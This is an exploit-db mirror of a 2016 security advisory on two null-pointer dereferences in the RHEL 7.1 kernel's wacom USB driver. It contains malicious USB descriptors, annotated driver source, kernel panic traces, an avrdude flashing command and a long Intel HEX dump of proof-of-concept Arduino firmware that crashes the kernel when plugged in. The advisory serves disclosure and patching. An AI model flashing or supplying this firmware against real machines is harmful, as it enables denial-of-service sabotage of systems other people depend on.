Linux Kernel 3.10.0 (CentOS / RHEL 7.1) – ‘Wacom’ Multiple Nullpointer Dereferences

  • 作者: OpenSource Security
    日期: 2016-03-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39538/
  • OS-S Security Advisory 2016-11
    Linux wacom multiple Nullpointer Dereferences
    
    Date: March 4th, 2016
    Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg
    CVE: not yet assigned
    CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
    Title: Multiple Local RedHat Enterprise Linux DoS â?? RHEL 7.1 Kernel crashes on 
    invalid USB device descriptors (wacom driver)
    Severity: Critical. The Kernel panics. A reboot is required.
    Ease of Exploitation: Trivial
    Vulnerability type: Wrong input validation
    Products: RHEL 7.1 including all updates
    Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the 
    CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)
    Vendor: Red Hat
    Vendor contacted: November, 12th 2015
    PDF of advisory: https://os-s.net/advisories/OSS-2016-11_wacom.pdf
    
    Abstract:
    The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of buggy USB 
    device requiring the wacom driver.
    
    Detailed product description:
    We confirmed the bug on the following system:
    RHEL 7.1
    Kernel 3.10.0-229.20.1.el7.x86_64
    Further products or kernel versions have not been tested.
    How reproducible: Always
    Actual results: Kernel crashes.
    
    Description:
    These bugs were found using the USB-fuzzing framework vUSBf from Sergej 
    Schumilo
    (github.com/schumilo) using the following device descriptors:
    
    [*] Device-Descriptor #1
    bLength:	0x12
    bDescriptorType:	0x1
    bcdUSB:	0x200
    bDeviceClass:	0x3
    bDeviceSubClass:	0x0
    bDeviceProtocol:	0x0
    bMaxPacketSize:	0x40
    idVendor:	0x56a
    idProduct:	0x3
    bcdDevice:	0x100
    iManufacturer:	0x1
    iProduct:	0x2
    iSerialNumbers:	0x3
    bNumConfigurations:	0x1
    
    This is the configuration descriptor containing the malicious value for 
    bNumEndpoints causing the crash. A zero value for bNumEndpoints crashes the 
    system.
    
    [*] Configuration-Descriptor
    bLength:	0x9
    bDescriptorType:	0x2
    wTotalLength:	0x27
    bNumInterfaces:	0x1
    bConfigurationValue:	0x1
    iConfiguration:	0x0
    bmAttributes:	0x0
    bMaxPower:	0x31
    [*] Interface-Descriptor
    bLength:	0x9
    bDescriptorType:	0x4
    bInterfaceNumber:	0x0
    bAlternateSetting:	0x0
    bNumEndpoints:	0x0
    bInterfaceClass:	0x0
    bInterfaceSubClass:	0x0
    bInterfaceProtocol:	0x0
    [*] Endpoint-Descriptor:
    bLength:	0x7
    bDescriptorType:	0x5
    bEndpointAddress:	0x81	
    bmAttribut:	0x3	
    wMaxPacketSize:	0x404
    bInterval:	0xc
    [*] Endpoint-Descriptor:
    bLength:	0x7
    bDescriptorType:	0x5
    bEndpointAddress:	0x1	
    bmAttribut:	0x2	
    wMaxPacketSize:	0x4
    bInterval:	0xc
    [*] Endpoint-Descriptor:
    bLength:	0x7
    bDescriptorType:	0x5
    bEndpointAddress:	0x82	
    bmAttribut:	0x2
    wMaxPacketSize:	0x4
    bInterval:	0xc
    
    The wacom driver assumes that there will be at least one endpoint-descriptor.
    If the interface-descriptor contains a zero-value for bNumEndpoints or no 
    endpoint-descriptor is provided, the driver tries to dereference a null-
    pointer and the kernel crashes:
    
    ****
    $ nm wacom.ko.debug | grep wacom_probe
    00000000000054a0 t wacom_probe
    $ addr2line -e wacom.ko.debug 0x5A22
    /usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_
    64/drivers/input/tablet/wacom_sys.c:1367
    ****
    
    **** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/input/tablet/wacom-
    sys.c)
    ...
    1308
    1309 endpoint = &intf->cur_altsetting->endpoint[0].desc; /* might be null-
    pointer */
    1310
    ...
    1365
    1366 usb_fill_int_urb(wacom->irq, dev,
    1367 usb_rcvintpipe(dev, endpoint->bEndpointAddress), /* possible 
    null-pointer dereference */
    1368 wacom_wac->data, features->pktlen,
    1369 wacom_sys_irq, wacom, endpoint->bInterval);
    1370 wacom->irq->transfer_dma = wacom->data_dma;
    ...
    ****
    
    [*] Device-Descriptor #2
    bLength:	0x12
    bDescriptorType:	0x1
    bcdUSB:	0x200
    bDeviceClass:	0x3
    bDeviceSubClass:	0x0
    bDeviceProtocol:	0x0
    bMaxPacketSize:	0x40
    idVendor:	0x56a
    idProduct:	0x90
    bcdDevice:	0x100
    iManufacturer:	0x1
    iProduct:	0x2
    iSerialNumbers:	0x3
    bNumConfigurations:	0x1
    
    This is the configuration descriptor containing the malicious value for 
    bNumEndpoints causing the crash. A zero value for bNumEndpoints crashes the 
    system.
    
    [*] Configuration-Descriptor
    bLength:	0x9
    bDescriptorType:	0x2
    wTotalLength:	0x27
    bNumInterfaces:	0x1
    bConfigurationValue:	0x1
    iConfiguration:	0x0
    bmAttributes:	0x0
    bMaxPower:	0x31
    [*] Interface-Descriptor
    bLength:	0x9
    bDescriptorType:	0x4
    bInterfaceNumber:	0x0
    bAlternateSetting:	0x0
    bNumEndpoints:	0x0
    bInterfaceClass:	0x0
    bInterfaceSubClass:	0x0
    bInterfaceProtocol:	0x0
    [*] Endpoint-Descriptor:
    bLength:	0x7
    bDescriptorType:	0x5
    bEndpointAddress:	0x81	
    bmAttribut:	0x3	
    wMaxPacketSize:	0x404
    bInterval:	0xc
    [*] Endpoint-Descriptor:
    bLength:	0x7
    bDescriptorType:	0x5
    bEndpointAddress:	0x1	
    bmAttribut:	0x2	
    wMaxPacketSize:	0x4
    bInterval:	0xc
    [*] Endpoint-Descriptor:
    bLength:	0x7
    bDescriptorType:	0x5
    bEndpointAddress:	0x82	
    bmAttribut:	0x2
    wMaxPacketSize:	0x4
    bInterval:	0xc
    
    The wacom driver assumes that there will be at least one endpoint-descriptor.
    If the interface-descriptor contains a zero-value for bNumEndpoints or no 
    endpoint-descriptor is provided, the driver tries to dereference a null-
    pointer and the kernel crashes:
    
    ****
    $ nm wacom.ko.debug | grep wacom_probe
    00000000000054a0 t wacom_probe
    $ addr2line -e wacom.ko.debug 0x5756
    /usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_
    64/drivers/input/tablet/wacom_sys.c:599
    ****
    
    **** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/input/tablet/wacom-
    sys.c)
    ...
    597 error = usb_get_extra_descriptor(interface, HID_DEVICET_HID, &hid_desc);
    598 if (error) {
    599 error = usb_get_extra_descriptor(&interface->endpoint[0], /* possible 
    null-pointer dereference */
    600 HID_DEVICET_REPORT, &hid_desc);
    ...
    ****
    
    Proof of Concept:
    For a proof of concept, we are providing two Arduino Leonardo firmware files. 
    These firmware files will emulate defective USB devices.
    
    avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U 
    flash:w:binary.hex
    
    Firmware files have been attached to this bug report.
    To prevent the automated delivery of the payload, a jumper may be used to 
    connect port D3 and 3V3!
    
    Severity and Ease of Exploitation:
    Both vulnerabilities can be easily exploited. Using our Arduino Leonardo 
    firmware files, only physical access to the system is required.
    
    Vendor Communication:
    We contacted Red Hat on the November, 12th 2015.
    The upstream driver was recently rebased and thus is not affected.
    RHEL related security patches have been provided, but no CVE number was 
    assigned.
    
    References:
    https://bugzilla.redhat.com/show_bug.cgi?id=1283375
    https://bugzilla.redhat.com/show_bug.cgi?id=1283377
    http://www.spinics.net/lists/linux-input/msg42294.html
    
    Kernel Stacktrace #1:
    
    [ 41.611702] usb 1-1: new full-speed USB device number 2 using xhci_hcd
    [ 41.821226] usb 1-1: config 1 interface 0 altsetting 0 has 3 endpoint 
    descriptors, different from the interface descriptor's value: 0
    [ 41.844208] usb 1-1: New USB device found, idVendor=056a, idProduct=0003
    [ 41.849572] usb 1-1: New USB device strings: Mfr=1, Product=2, 
    SerialNumber=3
    [ 41.855326] usb 1-1: Product: Ä?
    [ 41.859442] usb 1-1: Manufacturer: Ä?
    [ 41.863456] usb 1-1: SerialNumber: %
    [ 41.916320] BUG: unable to handle kernel NULL pointer dereference at 
    0000000000000002
    [ 41.917021] IP: [<ffffffffa0398a22>] wacom_probe+0x582/0xec0 [wacom]
    [ 41.917021] PGD 0 
    [ 41.917021] Oops: 0000 [#1] SMP 
    [ 41.917021] Modules linked in: wacom(+) ip6t_rpfilter ip6t_REJECT ipt_REJECT 
    xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables 
    ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle 
    ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat 
    nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack 
    iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm 
    ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper drm pcspkr i2c_piix4 
    i2c_core serio_raw parport_pc parport xfs libcrc32c sd_mod sr_mod crc_t10dif 
    cdrom crct10dif_common ata_generic pata_acpi ata_piix libata e1000 floppy 
    dm_mirror dm_region_hash dm_log dm_mod
    [ 41.917021] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted 
    3.10.0-229.14.1.el7.x86_64 #1
    [ 41.917021] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 
    rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014
    [ 41.917021] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000
    [ 41.917021] RIP: 0010:[<ffffffffa0398a22>] [<ffffffffa0398a22>] 
    wacom_probe+0x582/0xec0 [wacom]
    [ 41.917021] RSP: 0018:ffff88000bd23b58 EFLAGS: 00010246
    [ 41.917021] RAX: 0000000000000000 RBX: ffff88000c525800 RCX: 0000000000000000
    [ 41.917021] RDX: 0000000000000004 RSI: 0000000000000008 RDI: ffff88000ca75000
    [ 41.917021] RBP: ffff88000bd23be0 R08: 000000000000000d R09: 0000000000000064
    [ 41.917021] R10: 0000000000000064 R11: ffffffff810020d8 R12: ffff88000bcd0090
    [ 41.917021] R13: ffff88000bcd0000 R14: ffff88000c525c20 R15: ffff88000c525c00
    [ 41.917021] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000) 
    knlGS:0000000000000000
    [ 41.917021] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
    [ 41.917021] CR2: 0000000000000002 CR3: 000000000bd05000 CR4: 
    00000000000006f0
    [ 41.917021] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 
    0000000000000000
    [ 41.917021] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
    [ 41.917021] Stack:
    [ 41.917021] ffff88000bd23bb0 00000000dca45828 ffff88000bcd0090 
    0000000000000004
    [ 41.917021] ffff88000bcd0138 0000000000000202 0000000000000001 
    0000000000000246
    [ 41.917021] 0000000000000000 ffff88000000000d 0000000000000202 
    00000000dca45828
    [ 41.917021] Call Trace:
    [ 41.917021] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0
    [ 41.917021] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390
    [ 41.917021] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0
    [ 41.917021] [<ffffffff813d3420>] ? __device_attach+0x40/0x40
    [ 41.917021] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0
    [ 41.917021] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20
    [ 41.917021] [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0
    [ 41.917021] [<ffffffff813d3b34>] driver_register+0x64/0xf0
    [ 41.917021] [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160
    [ 41.917021] [<ffffffffa03a4000>] ? 0xffffffffa03a3fff
    [ 41.917021] [<ffffffffa03a401e>] wacom_driver_init+0x1e/0x1000 [wacom]
    [ 41.917021] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230
    [ 41.917021] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40
    [ 41.917021] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0
    [ 41.917021] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150
    [ 41.917021] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0
    [ 41.917021] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b
    [ 41.917021] Code: 84 0f 08 00 00 48 83 c0 20 48 c7 c7 20 f4 39 a0 49 89 87 
    d8 00 00 00 e8 4d f1 26 e1 48 8b 45 b8 41 8b b7 88 00 00 00 49 8b 7f 60 <0f> 
    b6 50 02 0f b6 48 06 41 8b 84 24 70 ff ff ff c1 e2 0f c1 e0 
    [ 41.917021] RIP [<ffffffffa0398a22>] wacom_probe+0x582/0xec0 [wacom]
    [ 41.917021] RSP <ffff88000bd23b58>
    [ 41.917021] CR2: 0000000000000002
    [ 42.331382] ---[ end trace b239663354a1c556 ]---
    [ 42.336544] Kernel panic - not syncing: Fatal exception
    [ 42.337520] drm_kms_helper: panic occurred, switching back to text console
    
    Kernel Stacktrace #2:
    
    [ 34.781297] usb 1-1: new full-speed USB device number 2 using xhci_hcd
    [ 34.986458] usb 1-1: config 1 interface 0 altsetting 0 has 3 endpoint 
    descriptors, different from the interface descriptor's value: 0
    [ 35.014291] usb 1-1: New USB device found, idVendor=056a, idProduct=0090
    [ 35.021605] usb 1-1: New USB device strings: Mfr=1, Product=2, 
    SerialNumber=3
    [ 35.029627] usb 1-1: Product: Ä?
    [ 35.034093] usb 1-1: Manufacturer: Ä?
    [ 35.037368] usb 1-1: SerialNumber: %
    [ 35.091600] BUG: unable to handle kernel NULL pointer dereference at 
    0000000000000038
    [ 35.092021] IP: [<ffffffffa0398756>] wacom_probe+0x2b6/0xec0 [wacom]
    [ 35.092021] PGD 0 
    [ 35.092021] Oops: 0000 [#1] SMP 
    [ 35.092021] Modules linked in: wacom(+) ip6t_rpfilter ip6t_REJECT ipt_REJECT 
    xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables 
    ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle 
    ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat 
    nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack 
    iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm 
    ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper drm pcspkr i2c_piix4 
    i2c_core serio_raw parport_pc parport xfs libcrc32c sd_mod sr_mod crc_t10dif 
    cdrom crct10dif_common ata_generic pata_acpi ata_piix libata e1000 floppy 
    dm_mirror dm_region_hash dm_log dm_mod
    [ 35.092021] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted 
    3.10.0-229.14.1.el7.x86_64 #1
    [ 35.092021] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 
    rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014
    [ 35.092021] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000
    [ 35.092021] RIP: 0010:[<ffffffffa0398756>] [<ffffffffa0398756>] 
    wacom_probe+0x2b6/0xec0 [wacom]
    [ 35.092021] RSP: 0018:ffff88000bd23b58 EFLAGS: 00010286
    [ 35.092021] RAX: 0000000000000000 RBX: ffff88000c525800 RCX: ffff88000bd23ba8
    [ 35.092021] RDX: 0000000000000022 RSI: 0000000000000000 RDI: ffff88000f508692
    [ 35.092021] RBP: ffff88000bd23be0 R08: ffff88000bd72553 R09: 0000000000000064
    [ 35.092021] R10: 0000000000000064 R11: ffffffff810020d8 R12: ffff88000bcd0090
    [ 35.092021] R13: ffff88000bcd0000 R14: ffff88000f508bc8 R15: ffff88000bd72400
    [ 35.092021] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000) 
    knlGS:0000000000000000
    [ 35.092021] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
    [ 35.092021] CR2: 0000000000000038 CR3: 000000000d6a6000 CR4: 
    00000000000006f0
    [ 35.092021] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 
    0000000000000000
    [ 35.092021] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
    [ 35.092021] Stack:
    [ 35.092021] ffff88000bd23bb0 0000000065aed7a7 ffff88000bcd0090 
    0000000000000004
    [ 35.092021] ffff88000bcd0138 0000000000000202 0000000000000001 
    0000000000000246
    [ 35.092021] 0000000000000000 ffff88000bd23be0 0000000000000202 
    0000000065aed7a7
    [ 35.092021] Call Trace:
    [ 35.092021] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0
    [ 35.092021] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390
    [ 35.092021] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0
    [ 35.092021] [<ffffffff813d3420>] ? __device_attach+0x40/0x40
    [ 35.092021] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0
    [ 35.092021] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20
    [ 35.092021] [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0
    [ 35.092021] [<ffffffff813d3b34>] driver_register+0x64/0xf0
    [ 35.092021] [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160
    [ 35.092021] [<ffffffffa03a4000>] ? 0xffffffffa03a3fff
    [ 35.092021] [<ffffffffa03a401e>] wacom_driver_init+0x1e/0x1000 [wacom]
    [ 35.092021] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230
    [ 35.092021] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40
    [ 35.092021] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0
    [ 35.092021] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150
    [ 35.092021] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0
    [ 35.092021] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b
    [ 35.092021] Code: 05 01 00 00 41 8b 76 0c 49 8b 7e 10 48 8d 4d c8 ba 21 00 
    00 00 e8 cb 2c 07 e1 85 c0 74 24 49 8b 46 18 48 8d 4d c8 ba 22 00 00 00 <8b> 
    70 38 48 8b 78 30 e8 ae 2c 07 e1 85 c0 41 89 c6 0f 85 b2 07 
    [ 35.092021] RIP [<ffffffffa0398756>] wacom_probe+0x2b6/0xec0 [wacom]
    [ 35.092021] RSP <ffff88000bd23b58>
    [ 35.092021] CR2: 0000000000000038
    [ 35.492030] ---[ end trace b239663354a1c556 ]---
    [ 35.497540] Kernel panic - not syncing: Fatal exception
    [ 35.498503] drm_kms_helper: panic occurred, switching back to text console
    
    Arduino Leonardo Firmware #1:
    
    :100000000C94A8000C94C5000C94C5000C94C50079
    :100010000C94C5000C94C5000C94C5000C94C5004C
    :100020000C94C5000C94C5000C94C2050C942D04CE
    :100030000C94C5000C94C5000C94C5000C94C5002C
    :100040000C94C5000C94C5000C94C5000C94C5001C
    :100050000C94C5000C94C5000C94C5000C940C02C3
    :100060000C94C5000C94C5000C94C5000C94C500FC
    :100070000C94C5000C94C5000C94C5000C94C500EC
    :100080000C94C5000C94C5000C94C5000C94C500DC
    :100090000C94C5000C94C5000C94C5000C94C500CC
    :1000A0000C94C5000C94C5000C94C50009030C0306
    :1000B000FF0203032D032D032D0310031403180364
    :1000C0001E0322032D0328030000000200080E0077
    :1000D00000030401000B000000000000000000000D
    :1000E00000000000000004080201104080401020C1
    :1000F00040804080080204018040201002011080EE
    :100100001020404004040404040304050202020217
    :1001100004030202020206060606060604040202A0
    :100120000204000000002300260029002C002F00FC
    :1001300000000000250028002B002E0031000000E8
    :100140000000240027002A002D00300000C180811B
    :1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077
    :10016000B1E0E0EDF3E102C005900D92A436B107D5
    :10017000D9F725E0A4E6B5E001C01D92AF37B2077C
    :10018000E1F70E94C8000C9402070C940000089547
    :10019000CF93DF93CDB7DEB7CD59D1090FB6F89421
    :1001A000DEBF0FBECDBF0E949F020E94C70060E06D
    :1001B00083E00E942E0361E087E00E942E0361E04D
    :1001C00088E00E942E030E9457067E012AE9E20E73
    :1001D000F11C84E093E0D70111969C938E9389E003
    :1001E00094E013969C938E93129782E2E2E1F1E001
    :1001F0009E012F5F3F4F6901D90101900D928A95B1
    :10020000E1F788E1E4E3F1E0DE01939601900D92DD
    :100210008A95E1F782E1ECE4F1E0DE01DB96019002
    :100220000D928A95E1F789E0EEE5F1E0DE01A05953
    :10023000BF4F01900D928A95E1F72A593F4F99E0FF
    :10024000992ED901E92D1D92EA95E9F78E010957FA
    :100250001F4F87E0E7E6F1E0D80101900D928A9503
    :10026000E1F7BE0160587F4F87E0EEE6F1E0DB0189
    :1002700001900D928A95E1F7AE0147585F4F87E0F4
    :10028000E5E7F1E0DA0101900D928A95E1F75E0170
    :10029000FEE8AF0EB11C86E0ECE7F1E0D50101907D
    :1002A0000D928A95E1F7CE01835B9F4FEEE0DC0172
    :1002B0001D92EA95E9F7E3E0DC011996EC93F90168
    :1002C0009082E4E0D9011196EC93F901DC01292D2B
    :1002D00001900D922A95E1F7FE01EC56FF4FDC01EB
    :1002E0001B96FC93EE931A971D96BC92AE921C97A8
    :1002F0001183008373836283558344830C521109F5
    :100300002CE0F80111922A95E9F721E0D80119961D
    :100310002C931997FE01E059FF4F01900D929A948A
    :10032000E1F7F8019387828761E088E00E94670324
    :100330008BE492E00E94630688E892E00E946306E4
    :1003400087EC92E00E94630686E093E00E946306D9
    :1003500082E493E00E9463068FE793E00E946306C5
    :1003600084EA93E00E9463068BEE93E00E946306AA
    :1003700083E00E949D03892B09F047C05E01F3E2F0
    :10038000AF0EB11C8824839482E1982E84E194E01E
    :100390000E946306BF92AF92DF92CF92FF92EF92DC
    :1003A0001F928F921F930F932DB73EB722513109A1
    :1003B0000FB6F8943EBF0FBE2DBFADB7BEB71196B6
    :1003C000FE01FB96892D01900D928A95E1F78DE64D
    :1003D00095E00E94010668E873E180E090E00E94E9
    :1003E00079028DE695E00E944C0660E087E00E946D
    :1003F000670368E873E180E090E00E9479020FB63D
    :10040000F894DEBF0FBECDBFC1CF6AE070E080E0E0
    :1004100090E00E947902ACCF1F920F920FB60F921C
    :1004200011242F933F938F939F93AF93BF9380910A
    :10043000650590916605A0916705B09168053091BA
    :10044000640523E0230F2D3720F40196A11DB11D73
    :1004500005C026E8230F0296A11DB11D2093640557
    :100460008093650590936605A0936705B093680532
    :100470008091690590916A05A0916B05B0916C051A
    :100480000196A11DB11D8093690590936A05A09303
    :100490006B05B0936C05BF91AF919F918F913F9188
    :1004A0002F910F900FBE0F901F9018953FB7F894A3
    :1004B0008091690590916A05A0916B05B0916C05DA
    :1004C00026B5A89B05C02F3F19F00196A11DB11DAF
    :1004D0003FBF6627782F892F9A2F620F711D811DCC
    :1004E000911D42E0660F771F881F991F4A95D1F72B
    :1004F0000895CF92DF92EF92FF92CF93DF936B013B
    :100500007C010E945602EB01C114D104E104F10404
    :1005100079F00E9456026C1B7D0B683E7340A0F37D
    :1005200081E0C81AD108E108F108C851DC4FECCFCE
    :10053000DF91CF91FF90EF90DF90CF900895789466
    :1005400084B5826084BD84B5816084BD85B58260D8
    :1005500085BD85B5816085BDEEE6F0E08081816076
    :100560008083E1E8F0E01082808182608083808176
    :1005700081608083E0E8F0E0808181608083E1E950
    :10058000F0E0808182608083808181608083E0E907
    :10059000F0E0808181608083E1ECF0E08081846024
    :1005A0008083808182608083808181608083E3ECAE
    :1005B000F0E0808181608083E0ECF0E08081826007
    :1005C0008083E2ECF0E0808181608083EAE7F0E004
    :1005D000808184608083808182608083808181606B
    :1005E0008083808180688083089590E0FC0131974A
    :1005F000EE30F10590F5EA5AFF4F0C94A90980916D
    :1006000080008F7703C0809180008F7D8093800071
    :10061000089584B58F7702C084B58F7D84BD089519
    :10062000809190008F7707C0809190008F7D03C0EC
    :1006300080919000877F8093900008958091C00002
    :100640008F7703C08091C0008F7D8093C000089594
    :100650008091C200877F8093C2000895CF93DF937B
    :1006600090E0FC01EA51FF4F2491FC01EC5FFE4F4A
    :100670008491882349F190E0880F991FFC01E25C86
    :10068000FE4FA591B491805D9E4FFC01C591D49120
    :100690009FB7611108C0F8948C91209582238C93A8
    :1006A000888182230AC0623051F4F8948C91322FF1
    :1006B000309583238C938881822B888304C0F8949F
    :1006C0008C91822B8C939FBFDF91CF9108950F93D4
    :1006D0001F93CF93DF931F92CDB7DEB7282F30E063
    :1006E000F901E853FF4F8491F901EA51FF4F14914A
    :1006F000F901EC5FFE4F04910023C9F0882321F03B
    :1007000069830E94F5026981E02FF0E0EE0FFF1F80
    :10071000E05DFE4FA591B4919FB7F8948C91611163
    :1007200003C01095812301C0812B8C939FBF0F9034
    :10073000DF91CF911F910F910895CF93DF93282FD1
    :1007400030E0F901E853FF4F8491F901EA51FF4F7E
    :10075000D491F901EC5FFE4FC491CC2391F081114B
    :100760000E94F502EC2FF0E0EE0FFF1FEE5DFE4F52
    :10077000A591B4912C912D2381E090E021F480E0AB
    :1007800002C080E090E0DF91CF910895615030F099
    :100790002091F100FC0120830196F8CF289884E68F
    :1007A00080937D0508951092E900109271051092D2
    :1007B000700590936F0580936E050895FF920F93D7
    :1007C0001F93CF93DF93F82E8B01EA01BA01C80182
    :1007D0000E94A406F80120E030E08EEF2C173D07C0
    :1007E00091F1F7FE02C0A49101C0A0816091700553
    :1007F0007091710540916E0550916F0564177507F2
    :10080000ACF49091E8009570E1F39091E80092FDCE
    :100810001CC0A093F100A0917005B09171051196D4
    :10082000AF73BB27AB2B11F48093E800A091700548
    :10083000B09171051196B0937105A09370052F5F6B
    :100840003F4F3196CBCFC90102C08FEF9FEFDF91B1
    :10085000CF911F910F91FF9008951F920F920FB6A5
    :100860000F9211246F927F928F929F92AF92BF92BC
    :10087000CF92DF92EF92FF920F931F932F933F93AC
    :100880004F935F936F937F938F939F93AF93BF9398
    :10089000EF93FF93CF93DF93CDB7DEB76297DEBFC1
    :1008A000CDBF1092E9008091E80083FF46C168E067
    :1008B000CE010A960E94C60382EF8093E8009A85D3
    :1008C00097FF05C08091E80080FFFCCF03C08EEF4A
    :1008D0008093E800892F807609F023C18B858111F0
    :1008E00005C01092F1001092F10020C1282F2D7F39
    :1008F000213009F41BC1853049F48091E80080FF64
    :10090000FCCF8C8580688093E30010C1863009F0AD
    :10091000E1C02D8508891989223009F0B3C0EC8423
    :100920008E2D90E020917305309174058217930706
    :100930000CF09FC00E94D3031F92EF928DE394E0CE
    :100940009F938F930E9481068CE0E89E7001112492
    :10095000E0917505F0917605EE0DFF1D89E0DE0151
    :10096000119601900D928A95E1F7C8010E94D30378
    :1009700049E050E0BE016F5F7F4F80E00E94DE03E0
    :100980000F900F900F900F90C12CD12C612C712CD7
    :1009900033E7A32E34E0B32E4AEA842E44E0942EAB
    :1009A000E0917505F0917605EE0DFF1D818590E0D3
    :1009B000681679060CF0BAC07F926F92BF92AF9220
    :1009C0000E948106E0917505F0917605EE0DFF1D00
    :1009D000628573856C0D7D1D49E050E080E00E94CA
    :1009E000DE030F900F900F900F9000E010E0E09169
    :1009F0007505F0917605EE0DFF1D0284F385E02D5F
    :100A0000EC0DFD1D818590E0081719075CF51F931B
    :100A10000F939F928F920E948106E0917505F0914D
    :100A20007605EE0DFF1D0284F385E02DEC0DFD1D16
    :100A3000C801880F991FA485B585A80FB91F4D91CE
    :100A40005C910284F385E02DE80FF91F60817181CC
    :100A500080E00E94DE030F5F1F4F0F900F900F90FA
    :100A60000F90C5CF8FEF681A780A8EE0C80ED11CA0
    :100A700097CF8FED94E09F938F930E9481060F9004
    :100A80000F9058C0C8012A8B0E94D3032A892130B5
    :100A9000C1F0233009F04EC08C851F928F9389EFEF
    :100AA00094E09F938F930E94810642E050E062E8B9
    :100AB00071E080E00E94DE030F900F900F900F9086
    :100AC00035C04091000150E060E071E080E00E949C
    :100AD000DE032CC0873071F1883021F481E08093EF
    :100AE000F10024C0893011F5937021F5EDE4F1E0B7
    :100AF00081E021E096E38093E9002093EB003491BC
    :100B00003093EC009093ED008F5F3196843099F72D
    :100B10008EE78093EA001092EA008C85809372053C
    :100B200005C0888999890E94D30304C08EEF809301
    :100B3000E80003C081E28093EB0062960FB6F89460
    :100B4000DEBF0FBECDBFDF91CF91FF91EF91BF917F
    :100B5000AF919F918F917F916F915F914F913F9155
    :100B60002F911F910F91FF90EF90DF90CF90BF904A
    :100B7000AF909F908F907F906F900F900FBE0F90CF
    :100B80001F9018951F920F920FB60F9211248F93FA
    :100B90009F938091E1001092E10083FF0FC01092BB
    :100BA000E90091E09093EB001092EC0092E39093B7
    :100BB000ED001092720598E09093F00082FF1AC049
    :100BC00080917E05882339F080917E058150809345
    :100BD0007E05882369F080917D05882359F08091F6
    :100BE0007D05815080937D05811104C0289A02C043
    :100BF0005D9AF1CF9F918F910F900FBE0F901F9034
    :100C00001895CF93DF93CDB7DEB782E1FE0135961D
    :100C1000A0E0B1E001900D928A95E1F78F89988D5F
    :100C20009093760580937505898D9A8D90937405C0
    :100C3000809373058B8D9C8D90937C0580937B05B1
    :100C40008D8D9E8D90937A05809379058F8D98A1D7
    :100C500090937805809377051092720581E08093D8
    :100C6000D70080EA8093D80082E189BD09B400FEF4
    :100C7000FDCF61E070E080E090E00E94790280E9C1
    :100C80008093D8008CE08093E2001092E000559AA7
    :100C9000209ADF91CF91089581E08093E00008953C
    :100CA0009091C80095FFFCCF8093CE0008951092DC
    :100CB000CD0087E68093CC0088E18093C9008EE068
